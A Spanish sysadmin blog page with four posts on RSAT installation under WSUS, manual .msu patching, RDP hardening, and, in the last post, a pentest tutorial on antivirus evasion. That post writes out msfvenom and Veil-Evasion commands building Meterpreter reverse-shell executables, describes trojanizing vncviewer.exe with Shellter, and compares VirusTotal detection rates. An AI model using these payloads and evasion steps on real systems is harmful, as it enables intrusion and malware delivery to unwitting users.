07 noviembre, 2020

Instalar características RSAT en Windows 10 cuando WSUS bloquea su descarga

A partir de las últimas versiones de Windows 10 las RSAT (Remote Desktop Services Tools) ya no se descargan e instalan como un paquete de actualizaciones de Microsoft. Sino que se incorporan como características avanzadas independientes que podemos descargar/instalar directamente desde el nuevo panel de configuración del sistema.

En el caso de que estemos trabajando en una máquina Windows 10 bajo un entorno de actualizaciones controladas por WSUS (Windows Server Update Services) es muy probable que el propio servidor WSUS esté bloqueando la descarga de las características RSAT.


Comprobar si las actualizaciones están controladas por WSUS

Para comprobar que el equipo está controlado por un servidor WSUS podemos comprobar la siguiente rama del registro.

HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate

Si vemos que los valores "WUServer" y "WUStatusServer" existen y apuntan a una dirección, normalmente HTTP puerto 8530 o HTTPS puerto 8531 con un nombre DNS interno significará que nuestro equipo recibe actualizaciones controladas directamente de un servidor WSUS.


¿Cómo instalar RSAT bajo un entorno controlado por WSUS?

Para poder instalar RSAT desde las características avanzadas del nuevo panel de control, abrimos un regedit en un contexto privilegiado como administradores, siguiendo la rama anterior, localizamos la siguiente rama.

HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU

La clave "AU" nos indica la sección de "Actualización automáticas de Windows Update". Aquí vemos el siguiente valor "UseWUServer" y lo establecemos a un valor 0.

  • 1 = Obtiene actualizaciones de un servidor WSUS.
  • 0 = Obtiene actualizaciones de Microsoft Update.

Abrimos una consola PowerShell como administrador y reiniciamos el servicio wuauserv "Windows Update Agent Service".

Restart-Service wuauserv

Ahora ya podemos añadir las características RSAT que queremos, una vez instaladas ya podemos habilitar de nuevo a través del registro la obtención de actualizaciones a través de WSUS.

Figura 1: Instalar características RSAT deshabilitando WSUS. 

Saludos!

Autor: Adrián Lois

23 septiembre, 2020

Instalar paquetes de actualizaciones .msu en Windows con expand y dism

Cuando nos descargamos parches directamente de Microsoft Update Catalog (Catálogo de Microsoft Update) normalmente el formato estándar suele ser una extensión .msu (Microsoft Update Standalone Installer) del paquete de actualización con su KB identificativo.

Para instalar un paquete de actualización de forma independiente sin hacerlo través de las Windows Update de Microsoft Windows, es tan sencillo como ejecutar con doble clic el fichero msu de instalación y esperar a que finalice el proceso. Aunque no siempre ocurre así y resulta costoso realizar la instalación.

Recientemente instalado el paquete de actualización que corrige la vulnerabilidad crítica CVE-2020-1472 conocida como "Zerologon" de la cual hablé en Linkedin. Quería aplicar este parche en un Windows Server 2019 el parche correspondiente al KB4565349 encontrándome un error de incompatibilidad con el computador en el momento de aplicar el parche.

Figura 1: Error de instalación Windows Update Standalone "actualización no es aplicable".

Una forma para resolver este tipo de problema de incompatibilidad en la aplicación de Updates. Es realizarlo de forma manual haciendo uso de las herramientas en línea de comandos expand y dism (Deployment Image Servicing and Management). Con expand podemos descomprimir el paquete .msu obteniendo así los ficheros .cab y con dism añadimos el paquete de actualización correspondiente al fichero principal .cab a la imagen de Windows en actual indicando el parámetro /Online.

Aplicar paquetes de actualización .msu con expand y dism

Una vez descargado el fichero .msu lo movemos en un directorio raíz. Por ejemplo "C:\Updates\paquete.msu" (previamente creamos esta nueva carpeta).

Con expand descomprimimos el paquete .msu, veremos varios ficheros y algunos .cab.

expand -f:* C:\Updates\paquete.msu C:\Updates\

El parámetro -f especifica los archivos de un archivo contenedor (. cab) que se desea expandir. Puede usarse caracteres comodín (* o ?).

Con dism añadimos el fichero .cab de mayor tamaño a la imagen de Windows actual y esperamos a que termine el proceso.

# CMD
dism.exe /Online /Add-package /Packagepath:"C:\Updates\paquete.cab"

# PowerShell
Add-WindowsPackage -Online -PackagePath "C:\Updates\paquete.cab"

Una vez hecho esto reiniciamos la máquina. Para comprobar que la actualización se instalado correctamente podemos listar las updates instaladas en el sistema.

# CMD
systeminfo

# PowerShell
Get-HotFix

Restaurar configuración Windows Updates

Esto se escapa del caso particular anterior pero lo comento como información adicional. En el caso de que no sea posible aplicar actualizaciones de Windows de la forma tradicional y automática a través de las Windows Updates, una solución que suele funcionar en la mayoría de casos es renombrar o eliminar, dependiendo el caso y el espacio en disco del que se disponga, la carpeta donde se descargan por defecto los paquetes de actualizaciones SoftwareDistribution.

Cuando buscamos nuevas actualizaciones en Windows estas se descargan por defecto en la carpeta "C:\Windows\SoftwareDistribution" una vez descargas Windows aplica/instala estas actualizaciones en el sistema y después de un reinicio las sigue manteniendo en esta ubicación. Una forma de liberar espacio en disco y también restaurar su configuración en caso de errores en el momento de descarga o aplicación de las updates de Windows es:

  • 1. Renombrar la carpeta SoftwareDistribution
  • 2. Intentar descargar y aplicar las nuevas actualizaciones.
  • 3. Eliminar la carpeta vieja renombrada.

Al renombrar esta carpeta Windows no puede encontrar el directorio por lo que la creará de nuevo y cargará la configuración inicial por defecto en lo relacionado a Windows Update.

Para poder renombrar esta carpeta, previamente es necesario detener los procesos que funcionan como servicios de Windows que hacen uso de ella. Ejecutamos una consola cmd con privilegios administrativos.

net stop wuauserv
net stop cryptSvc
net stop bits
net stop msiserver

Ya en consola podemos renombrarla directamente.

ren C:\Windows\SoftwareDistribution SoftwareDistribution_old

Volvemos arrancar nuevamente los servicios.

net start wuauserv
net start cryptSvc
net start bits
net start msiserver

Comprobamos nuevamente si existen nuevas actualizaciones, esperamos a que se descarguen e instalen, reiniciamos el sistema y eliminamos la carpeta renombrado "SoftwareDistribution_old".

Espero que estas dos posibles soluciones puedan resultar de ayuda.

Saludos!

Autor: Adrián Lois

03 septiembre, 2020

Restringir el inicio de sesión a través de escritorio remoto RDP a usuarios Administradores y permitirlo solamente a usuarios específicos

Por defecto para poder usar los Servicios de escritorio remoto RDP Remote Desktop Protocol necesitamos un usuario, ya sea local en la máquina remota o de dominio, que tenga permisos para poder conectarse. Para ello dicho usuario debe ser miembro del grupo "Administradores locales" o bien del grupo "Usuarios de escritorio remoto".

Agregar o quitar usuarios o grupos a través de las Propiedades del sistemas (sysdm.cpl) sería lo mismo que hacerlo a través del propio grupo local "Usuarios de escritorio remoto" que podemos encontrar en la consola lusrmgr.msc.

Figura 1: Administradores locales tienen acceso RDP.

El problema surge cuando necesitamos que en una máquina remota puedan acceder únicamente determinados usuarios pero que las cuentas de usuario miembros del grupo Administradores locales no puedan iniciar sesión a través de RDP.

Evitar el Principio de localidad (Movimiento lateral)

En muchas empresas, por razones principalmente administrativas, es habitual encontrase al usuario Administrador (cuenta integrada) habilitado o simplemente la creación de un nuevo usuario que pertenezca al grupo Administradores locales de la máquina. Suele establecerse la misma contraseña para este usuario en todos las máquinas de la organización lo que se conoce como "Principio de localidad" permitiendo con esto la posibilidad de movimientos laterales de un equipo a otro en un contexto privilegiado y facilitando la capacidad de acceso a través de los Servicios de escritorio remoto a otras máquinas que tengan configurado el mismo usuario y contraseña.

Hardening - Restringir el acceso RDP a los Administradores locales

Para aplicar un poco de hardening y establecer unas buenas prácticas ante esta situación. Añadimos los usuarios específicos ya sean locales o formen parte de un dominio al grupo de "Usuarios de escritorio remoto".

Figura 2: Añadir usuarios de forma nominal al grupo local de Usuarios de escritorio remoto.

Establecemos y modificamos una GPO ya sea nivel local o de de dominio en la consola editor de directivas gpedit.msc o gpmc.msc.

Configuración del equipo > Configuración de Windows > Configuración de seguridad > Asignación de derechos de usuario > "Permitir inicio de sesión a través de Servicios de escritorio remoto"

Quitamos o eliminamos el grupo de usuarios "Administradores". En el caso de un dominio se podría establecer un grupo integrado tipo "Opers. de cuentas" o crear uno específico de dominio el cual también pertenezca al grupo Administradores locales de la máquina (esto se podría realizar de forma masiva mediante una GPO a nivel de dominio). También tendremos la posibilidad de elevarnos a un contexto privilegiado haciendo uso del UAC (User Account Control) ejecutando los procesos como Administrador (Ctrl+Shift) u otro usuario que sea miembro del grupo Administradores locales.

De ese modo no se degradaría la posibilidad de seguir administrando las máquinas e iniciar sesión a través de los servicios de escritorio remoto únicamente para aquellas cuentas de usuario que lo necesiten por su operativa de mantenimiento. Minimizando así el riesgo del principio de localidad comentado anteriormente.

Figura 3: GPO - Limitando el acceso a grupos o usuarios a través de Servicios de escritorio remoto.

En la siguiente captura se puede ver como se denegó el acceso a través de RDP a un usuario adminadrian que es miembro del grupo de "Usuarios" y "Administradores" locales de la máquina que, por defecto tendría acceso al inicio de sesión a través de RDP ya que pertenece al grupo de Administradores locales, independientemente de si pertenece o no al grupo específico "Usuarios de escritorio remoto".

Figura 4: Inicio de sesión denegado a través de escritorio remoto para un usuario privilegiado.

Registro del error en el inicio sesión para el usuario local adminadrian correspondiente al evento con ID: 4625.

Figura 5: Evento con ID 4625 - Error de una cuenta al iniciar sesión.

Saludos!

Autor: Adrián Lois

16 julio, 2020

Shellter y Veil-Evasion: Evasión de antivirus ocultando shellcodes de binarios

Hay diversas técnicas para establecer una sesión hacia una máquina remota. Una de ellas es la generación de un fichero binario que sea ejecutado por la víctima, este binario tendrá un payload configurado que nos proporcionará una shell remota estableciendo una conexión directa o inversa hacia el equipo de la víctima, consiguiendo así una sesión en el mismo contexto de integridad del usuario que ejecutó el binario.

Se trata de un tipo de ataque client-side donde será el usuario final quien interactúe ejecutando el fichero malicioso. La forma de envío de estos ejecutables hacia la máquina remota sin tener una sesión previa puede ser de muchas formas: En el caso de tener acceso físico a la organización distribuir unidades externas usb con el binario esperando que alguien lo ejecute o envío de emails en el que se adjunte el fichero o un hipervínculo que redirige a una web externa donde se descargará (esto suele ser muy habitual). 

El principal "inconveniente" que nos encontramos como pentesters a la hora de ejecutar este método es que estos binarios ya sea por su contenido, sus firmas, morfología, etc. es probable que sea detectado y bloqueado por los fabricantes de antivirus o antimalware. 

Una forma de eludir binarios para evitar ser detectados es aplicar una capa de ocultación en su payload. Los encoders es una opción pero no suelen ser efectivos, sin embargo existen herramientas como Shellter y Veil-Evasión que generan sus propios payloads predefinidos utilizando crypters entre otras técnicas de ofuscación y que los hacen menos detectables para los sistemas de antivirus.

Comparativa de detección por antivirus de binarios con payloads maliciosos

msfvenom

msfvenom se trata de una herramienta que combina msfpayload para la generación de payloads y msfencode para la "ocultación" de payloads. 

Podemos generar binarios de forma sencilla estableciendo una serie de parámetros como puede ser la dirección IP y puerto a la que se conectará la máquina remota cuando ejecute el binario, tipo de arquitectura, payload, enconder (por defecto usará shikata_ga_nai) y caracteres de escape que puedan ocasionar algún tipo de error en la generación del binario.

Para generar un payload que establezca una conexión inversa con un Meterpreter y que sea compatible con sistemas Windows de arquitecturas x86 de 32 bits. 
msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=10.0.0.19 LPORT=4444 -e x86/shikata_ga_nai -i 5 -b '\x00' -f exe > shell.exe
Generar binario malicioso payload meterpreter con msfvenom.
Figura 1: Generar binario malicioso payload meterpreter con msfvenom.

En virustotal.com podemos analizar en varios motores de antivirus el binario generado con msfvenom y conocer que antivirus lo detectan como malicioso y cuales no. Como se ve en la captura ha sido analizado por 71 antivirus de los cuales lo han detectado 56.

Tasa de detección de malware en VirusTotal.com de un binario generado con msfvenom.
Figura 2: Tasa de detección de malware en VirusTotal.com de un binario generado con msfvenom.


Shellter Framework

Shellter Framework se trata de una herramienta/framework con la que podemos elegir unos binarios preestablecidos ubicados en /usr/share/windows-binaries el que escojamos se le añadirá un payload con utilizando crypters dificultando así la detección por los antivirus.

Ejecutamos Shellter e indicamos el binario, en este caso vncviewer.exe.

Shellter - Seleccionar binario vncviewer.exe
Figura 3: Shellter - Seleccionar binario vncviewer.exe.

Seleccionamos el tipo de payload ya predefinidos para aplicar en el binario anterior y una IP y puerto local de la máquina atacante para establecer la conexión con la máquina remota cuando ejecute el binario.

Shellter - Seleccionar y configurar payload en el binario vncviewer.exe
Figura 4: Shellter - Seleccionar y configurar payload en el binario vncviewer.exe.

Una vez generado el binario por Shellter comprobamos la detección en virustotal. En este ocasión vemos como el mismo tipo de payload ha sido detectado por 22 antivirus de un total de 69.

Detección del binario malicioso generado con Shellter en VirusTotal.com
Figura 5: Detección del binario malicioso generado con Shellter en VirusTotal.com.


Veil-Evasion Framework

Veil-Evasion Framework se trata de otra alternativa a Shellter. Con la misma idea dispone de una gran cantidad de payload predefinidos en diversos lenguajes, no es necesario escoger un binario como en el caso de Shellter podemos generar nuestro propio binario aplicando el payload que queramos.

Ejecutamos el Veil-Evasion Framework, con use 1 elegimos la modalidad de Evasion, listamos los payloads disponibles con list.

Veil-Framework - Seleccionar tipo y lista de payloads disponibles
Figura 6: Veil-Framework - Seleccionar tipo y lista de payloads disponibles.

Como ejemplo desde la lista seleccionamos el número que corresponde al payload "go/meterpreter/rev_tcp". Con set LHOST y set LPORT establecemos la dirección IP y puerto local a la que se conectará la máquina remota y generamos el binario con generate.

Veil-Framework - Configurar payload y generar binario.
Figura 7: Veil-Framework - Configurar payload y generar binario.

También podemos generar estos binarios de forma no interactiva sin necesidad de interactuar ni ejecutar el framework completamente. Siguiendo el ejemplo anterior sería algo así.
./Veil.py -t Evasion -p go/meterpreter/rev_tcp.py --ip 10.0.0.19 --port 4444 -o shell2
Figura 8: Veil-Framework CLI - Configurar y generar binario en una sola línea de instrucción.

Finalmente subimos este binario para analizarlo en virustotal y compararlo con Shellter. La detección de antivirus es de 43 de 70. Aunque es cierto que se trata de otro tipo de payload, la detección es más elevada que en el caso de Shellter.

Detección del binario malicioso generado con Veil-Framework en VirusTotal.com
Figura 9: Detección del binario malicioso generado con Veil-Framework en VirusTotal.com.


Conclusiones

Vistas las comparativas de detección, msfvenom quedaría descartado y Shellter se colocaría en una mejor posición respecto a Veil-Evasion. 

Lógicamente esto no evita el ser detectados pero se trata de una técnica más que podemos aplicar de forma rápida y sencilla para evitar que nuestro binario con una shellcode sea detectado por un número determinado de antivirus pudiendo así facilitar una intrusión a un sistema de forma directa tipo client-side en un ejercicio de penteting.

Saludos!

Autor: Adrián Lois